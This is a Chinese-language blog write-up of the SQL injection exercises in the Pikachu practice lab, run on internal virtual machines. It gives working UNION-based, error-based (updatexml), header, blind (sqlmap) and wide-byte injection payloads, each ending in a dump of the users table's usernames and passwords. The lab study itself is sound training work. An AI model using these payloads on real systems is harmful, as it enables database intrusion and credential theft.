sql注入-基於pikachu靶場學習之SQL隱碼攻擊

2023-07-27 12:00:59

sql注入(pikachu靶場學習之SQL隱碼攻擊)

環境準備

環境:wmware,安裝兩臺win10的虛擬機器器在伺服器上部署服務,在客戶機上進行安全測試

宣告:不涉及網際網路上的資源,學習都在內網完成,一切皆用於學習記錄,不可用於其他用途

win10伺服器:192.168.59.132

win10客戶機:192.168.59.130

涉及到的軟體:

​ Burp Suite Professional v2.0beta(自行搜尋安裝)

​ 瀏覽器:火狐(這個不重要,隨便)

服務部署用phpstudy部署pikachu漏洞平臺(自行baidu查然後自己部署,有很多寫得很全面的。有一個小坑,部署完,去phpstudy新增一個pikachu的資料庫,然後去pikachu的組態檔找到config.inc.php這個檔案,修改資料庫資訊)

話不多說,直入主題

1.數位型注入

設定代理後抓包:

然後點代理右邊那個Repeater ,id=1 開始測試,返回正常,無報錯:

修改 id=1‘ 繼續發包 發現報錯了:

繼續修改:id=1' and '1'='1 ,依舊報錯 可以猜想這是一個數位型的注入了

修改id=1 and 1=1 無報錯產生,可以斷定這是數位型的注入(靶場明確告訴我們這是什麼型別,但事實上需要我們一步一步摸索、明確注入型別)

現在進行欄位的判斷:

id=1 order by 1

id=1 order by 2

id=1 order by 3 報錯了,說明只有兩個

id=1 union select 1,2 判斷欄位的回顯位置

查詢資料庫名字,版本--和我內網伺服器的資料庫版本一致:

查詢表名

where table_schema=database()查詢限制條件:當前的pikachu資料庫

information_schema.tables 所有表名

table_name 表名

group_concat()簡而言之就是顯示在一行(可自行baidu深入學習)

id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

查詢欄位名

由上面查詢得到的users表名去查詢欄位

column_name 欄位名

columns 欄位

id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'

直接查詢出來資料:

上面得到username和password欄位

id=1 union select username,password from users

2.字元型注入

話不多說,判斷方法和上面方法一樣,直接梭哈

這裡要看請求體的裡面的name=1 即是pikachu漏洞平臺的輸入框的1

name=1' 直接報錯

name=1'and'1'='1

兩個方法

方法一:(不用抓包了,沒意義)

1.測試判斷欄位數

1' order by 1#

1' order by 2#

1' order by 3# 這個報錯了,說明只有兩個欄位

3.查詢資料庫

1' union select 1,database()#

4.查表

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

5.查欄位

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

6.查資料

1' union select username,password from users #

方法二:萬能密碼(這個沒什麼好說的,原理可以baidu學習一下)

1' or 1=1# 下面操作差不多

vince' order by 2#

vince' union select 1,database()#

vince' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

vince' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

vince' union select username,password from users#

3.搜尋型

本質還是字元,只是閉合不一樣

注:十六進位制:23 就是 #

隨便搜尋了個dd

得到一個url:

http://192.168.59.132/pikachu-master/vul/sqli/sqli_search.php?name=dd&submit=搜尋

name=dd&submit=%E6%90%9C%E7%B4%A2 由這個可以看出是由%閉合的

測試一下:?name=dd%123%23&submit=%E6%90%9C%E7%B4%A2

可以驗證了上面的結論

開幹

%' order by 1%

%' order by 2%

%' order by 3%

%' order by 4% 報錯 說明只有3個欄位

%' union select 1,2,3% 查詢回顯位置

查資料庫:

%' union select 1,2,database()%

查表:

%' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%

查欄位:

%' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'%

查資料:

%' union select id,username,password from users%

結果:

4.xx型

本質是字元注入,稍稍比上面麻煩點

查詢一下pikachu

http://192.168.59.132/pikachu-master/vul/sqli/sqli_x.php?name=pikachu&submit=查詢

無報錯

再搜尋pikachu'

http://192.168.59.132/pikachu-master/vul/sqli/sqli_x.php?name=pikachu'&submit=%E6%9F%A5%E8%AF%A2

有報錯了,根據報錯提示資訊,得知是)閉合

驗證一下)閉合

http://192.168.59.132/pikachu-master/vul/sqli/sqli_x.php?name=pikachu')%23&submit=%E6%9F%A5%E8%AF%A2

直接上才藝:

name=pikachu') order by 1%23

name=pikachu') order by 2%23

name=pikachu') order by 3%23

1和2都無報錯,3報錯,得知只有2個欄位

http://192.168.59.132/pikachu-master/vul/sqli/sqli_x.php?name=pikachu') order by 3%23&submit=%E6%9F%A5%E8%AF%A2

查回顯位置:

http://192.168.59.132/pikachu-master/vul/sqli/sqli_x.php?name=pikachu') union select 1,2%23&submit=%E6%9F%A5%E8%AF%A2

查資料庫:

http://192.168.59.132/pikachu-master/vul/sqli/sqli_x.php?name=pikachu') union select 1,database()%23&submit=%E6%9F%A5%E8%AF%A2

查表:

http://192.168.59.132/pikachu-master/vul/sqli/sqli_x.php?name=pikachu') union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23&submit=%E6%9F%A5%E8%AF%A2

查欄位:

http://192.168.59.132/pikachu-master/vul/sqli/sqli_x.php?name=pikachu') union select 1,group_concat(column_name) from information_schema.columns where table_name='users'%23&submit=%E6%9F%A5%E8%AF%A2

查資料:

http://192.168.59.132/pikachu-master/vul/sqli/sqli_x.php?name=pikachu') union select username,password from users%23&submit=%E6%9F%A5%E8%AF%A2

5.insert/update

5.1insert

點註冊,然後用bp抓包

測試閉合:

username=666666','66')&password=666666&sex=666666&phonenum=666666&email=666666&add=666666&submit=submit

報錯了

修改:username=666666','&password=666666&sex=666666&phonenum=666666&email=666666&add=666666&submit=submit

報錯raw數不行

修改:username=666666','66','66','66','66','66')#&password=666666&sex=666666&phonenum=666666&email=666666&add=666666&submit=submit

註冊成功,證明是'號閉合

由上可知,SQL語句錯誤時會報錯,可以使用報錯注入

用updatexml()函數來構造注入payload

username=666666' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '&password=666666&sex=666666&phonenum=666666&email=666666&add=666666&submit=submit

or或者and都行,最後可以不用#,第一個引數的單引號閉合就ok。0x7e是~回顯是-,估計是平臺問題?不得而知

查使用者:

查資料庫版本:

路徑:

嗯,兩次結果拼在一起是完整的資料檔案儲存路徑

開幹:

先拆分一下payload

select group_concat(table_name) from information_schema.tables where table_schema=database()

updatexml() 函數
UPDATEXML (XML_document, XPath_string, new_value);

一:XML_document是String格式,為XML檔案物件的名稱

二:XPath_string (Xpath格式的字串)

三:new_value,String格式,替換查詢到的符合條件的資料

​ 函數對XPath_string進行查詢操作,如符合語法格式要求,用第三個引數替換,對於不符合語法格式要求的,報錯並帶出查詢的結果

updatexml(1,concat(0x7e,substr(( ),1,31),0x7e),1)

substr(string, start,) 長度大於31就行

username=' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or '&password=666666&sex=666666&phonenum=666666&email=666666&add=666666&submit=submit

表:

' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or '

' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),32,31),0x7e),1) or '

列:

' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1) or '

' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),32,31),0x7e),1) or '

' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),63,31),0x7e),1) or '

資料:

' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,';',password)) from users),1,31),0x7e),1) or '

' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,';',password)) from users),32,31),0x7e),1) or '

substr的第2個引數等於前一次的第2個引數加31

5.2update

測試閉合,單個'報錯 ,兩個'不報錯,所以是'號閉合

資料庫:

sex=22222222' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #&phonenum=22222222&add=22222222&email=22222222&submit=submit

表:

sex=22222222' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) #&phonenum=22222222&add=22222222&email=22222222&submit=submit

列:

sex=22222222' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1) #&phonenum=22222222&add=22222222&email=22222222&submit=submit

資料:

sex=22222222' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1) #&phonenum=22222222&add=22222222&email=22222222&submit=submit

6.delete注入

bp抓包,先留言後刪除

找到:http://192.168.59.132/pikachu-master/vul/sqli/sqli_del.php?id=56

開幹開幹

庫:

or updatexml(1,concat(0x7e,(select database()),0x7e),1)

表:

or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)

列:

or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1)

資料:

or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'----',password)) from users),1,31),0x7e),1)

7.http header注入

登入(admin,123456),抓包

一般可獲取頭部的資訊用於資料分析

通過請求頭部也可以向資料庫傳送查詢資訊

構造惡意語句可以對資料庫進行資訊查詢

Accept:屬於http請求頭,描述使用者端希望接收的響應body 資料型別

總的來說就是希望伺服器返回什麼樣型別的資料

Content-Type:傳送端(使用者端|伺服器)傳送的實體資料的資料型別。

Accept:1 無報錯,Accept:1' 報錯 可以知道存在注入的可能

這用報錯回顯

庫:

Accept:1' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '

表:

Accept:' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or '

列:

Accept:' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1) or '

資料:

Accept:' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'+',password)) from users),1,31),0x7e),1) or '

8.boolian的盲注

方法一:

手工去幹去猜!還是不聊了

自行baidu吧!!!!

方法二:

新工具人:sqlmap(自行去GitHub搜尋安裝)

用軟體sqlmap爆破,艾瑪,真香

python sqlmap.py -u "http://192.168.59.132/pikachu-master/vul/sqli/sqli_blind_b.php?name=777&submit=查詢" --current-db

python sqlmap.py -u "url" --current-db

獲取資料庫名:

獲取資料表:

python sqlmap.py -u "http://192.168.59.132/pikachu-master/vul/sqli/sqli_blind_b.php?name=777&submit=查詢" -D pikachu --tables

python sqlmap.py -u "url" -D pikachu --tables

查表:

python sqlmap.py -u "http://192.168.59.132/pikachu-master/vul/sqli/sqli_blind_t.php?name=777&submit=查詢" -D pikachu --tables

python sqlmap.py -u "url" -D pikachu --tables

查列:

python sqlmap.py -u "http://192.168.59.132/pikachu-master/vul/sqli/sqli_blind_t.php?name=777&submit=查詢" -D pikachu -T users --columns

python sqlmap.py -u "url" -D pikachu -T users --columns

查資料:

python sqlmap.py -u "http://192.168.59.132/pikachu-master/vul/sqli/sqli_blind_t.php?name=777&submit=查詢" -D pikachu -T users -C id,username,password --dump

python sqlmap.py -u "url" -D pikachu -T users -C id,username,password --dump

方法三:

python指令碼,自行baidu!!!

10寬位元組注入

原理:
寬位元組注入有addslashes,mysql_escape_string,mysql_real_escape_string等跳脫的函數

​ 對輸入'符號進行了跳脫'

pikachu靶場是addslashes()進行了跳脫

單引號(')
雙引號(")
反斜槓(\)
NULL
在下方設定編碼時設定為了gbk編碼

利用反斜槓編碼為%5c

用%df構成(連)字繞過對 ’符號 的跳脫

簡而言之,就是由於編碼的問題,用%df' 可以繞過對‘的跳脫

開幹!!!

bp抓包,隨便輸入1,點選檢視轉到repeater:

查欄位:

1%df' order by 2#

1%df' order by 3# 有錯誤產生

查位置:

1%df' union select 1,2#

查版本:

1%df' union select 1,@@version#

查資料庫:

1%df' union select 1,database()#

查表:

1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

查列:

按上面的方法會被跳脫處理掉,報錯

所以只能巢狀:

1%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database())limit 3,1))#

拆分後更好理解(*表示下一句所在位置):

1%df' union select 1,*# //第一句

(select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(*) //第二句

select table_name from information_schema.tables where table_schema=(select database())limit 3,1) //第三句

查資料:

1%df' union select username,password from users#

pikachu的SQL靶場到此為止

:未經同意請勿轉載,僅作學習使用。以上有描述不正確之處,望大家能不吝指出,共同學習共同進步。謝謝